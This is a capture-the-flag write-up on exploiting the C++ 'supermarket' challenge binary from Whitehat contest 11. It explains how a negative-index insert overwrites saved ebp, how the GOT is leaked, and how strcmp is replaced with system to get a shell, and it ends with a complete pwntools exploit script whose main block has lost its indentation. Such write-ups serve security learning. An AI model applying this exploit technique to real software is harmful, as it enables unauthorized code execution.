Whitehat contest 11 supermarket

I wasn’t really in a good mood when I found out that the binary was C++ and not C. I’m not very good with those.

Getting into the details of the binary, it contains a few classes, some of which are derived from another. Each class has a input function, an output function, a constructor and a destructor.

The original class is called MyObject and it goes like this:

class MyObject{
string id[20];
string name[50];
};

This class also contains a getID function which basically returns the string id of the object.

There are three classes that are used. All of them have been derived from the MyObject class. They are the product, staff and customer classes.

In the stack frame for main, there are 3 arrays allocated. Each one contains objects of one kind. We can add objects, delete them, search with the string index, show all objects of a particular type and insert an object at any location in the array. But what we can’t do is to edit any object that we created.

The vulnerability lies in the insert function. It asks us for an index and the object created is placed at that index of the corresponding array. The vuln is that we can also give negative indexes.

The insert functionality is done by a function ( I’m calling it insert()) which again calls another function  insertIntoArray(). So if I were to provide a negative index, the address of the chunk could possible overwrite the saved eip of any of the two functions.

But the first 4 bytes of the object is the virtual-function table of the object. So overwriting saved eip was not the best option. So we thought of overwriting the saved ebp. An index of -18 seemed to do the job.

Now we’ve got control flow. What now?

I decided to use the functions input and output of class MyObject. Both these functions read input into, and print the values at arg1+4 and arg1+24.

So using the output function of MyObject, I leaked the values in the GOT table.

And then using the input function, I overwrote the strcmp function with the address of system.

I chose strcmp() because all other functions were getting used somewhere else.

So all that was left was to somehow make a call to strcmp with an argument “/bin/sh”.

The sort functionality does that for us. It takes each object in the corresponding array and sorts it according to the ID. This comparison is done using a strcmp. So we just needed to create an object with the ID as “/bin/sh” and then call the sort function.

And well that worked. Sadly, I couldn’t finish it during the ctf and could only test it locally.

Anyway, here’s the script:

from pwn import *

p=process("supermarket")
e=ELF("supermarket")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")

got_table=e.address+0x4000
log.info(p.recvuntil(":\n"))

product=1
staff=2
customer=3
op=0x80493e6
ip=0x804933c
g1=0x08049981                               #add esp,0x8;pop ebx;ret;
got_table+=0x1c

got_at_strlen=e.read(got_table+4,4)
got_at_puts=e.read(got_table+24,4)
got_at_printf=e.read(got_table+8,4)
got_at_znwj=e.read(got_table+12,4)

menu=e.symbols['main']+0x77

def create(val,idx):
    p.sendline("1")
    log.info(p.recvuntil(":\n"))
    p.sendline(str(val))
    log.info(p.recvuntil(":\n"))
    p.sendline(idx)                         #id
    log.info(p.recvuntil(":\n"))
    p.sendline("A"*4)                       #name
    log.info(p.recvuntil(":\n"))
    p.sendline("B"*4)                       #address
    log.info(p.recvuntil(":\n"))
    p.sendline("C"*4)                       #phno
    log.info(p.recvuntil(":\n"))

def delete(val,idx):
    p.sendline("2")
    log.info(p.recvuntil(":\n"))
    p.sendline(str(val))
    log.info(p.recvuntil(":\n"))
    p.sendline(str(idx))
    log.info(p.recvline())

def insert(loc):
    p.sendline("3")
    log.info(p.recvuntil("choice:\n"))
    p.sendline(str(customer))
    log.info(p.recvuntil(":\n"))
    payload=pack(op)+pack(g1)+pack(got_table)+pack(-1)+"\x00"
    p.sendline(payload)                     #id
    log.info(p.recvuntil(":\n"))
    payload=pack(ip)+pack(g1)+pack(got_table)+pack(-1)*2+pack(menu)
    p.sendline(payload)                     #name
    log.info(p.recvuntil(":\n"))
    p.sendline("")                          #address
    log.info(p.recvuntil(":\n"))
    p.sendline("")                          #phno
    log.info(p.recvuntil(":\n"))
    p.sendline(str(loc))
    log.info(p.recvline())

def sort():
    p.sendline("5")
    log.info(p.recvuntil(":\n"))
    p.sendline("3")
    p.interactive()

if __name__=='__main__':
for x in range(0,75):
create(customer,"")
insert(-18)
log.info(p.recvline())
log.info(p.recvuntil(": "))
msg=p.recv(4)
log.info(p.recvline())
libc.address=unpack(msg)-libc.symbols['puts']
log.info(p.recvuntil(":\n"))
payload=got_at_strlen+got_at_printf+got_at_znwj
p.sendline(payload)
log.info(p.recvuntil(":\n"))
payload=got_at_puts+pack(libc.symbols['system'])*2
p.sendline(payload)
log.info(p.recvuntil(":\n"))
create(customer,"/bin/sh")
create(customer,"")
sort()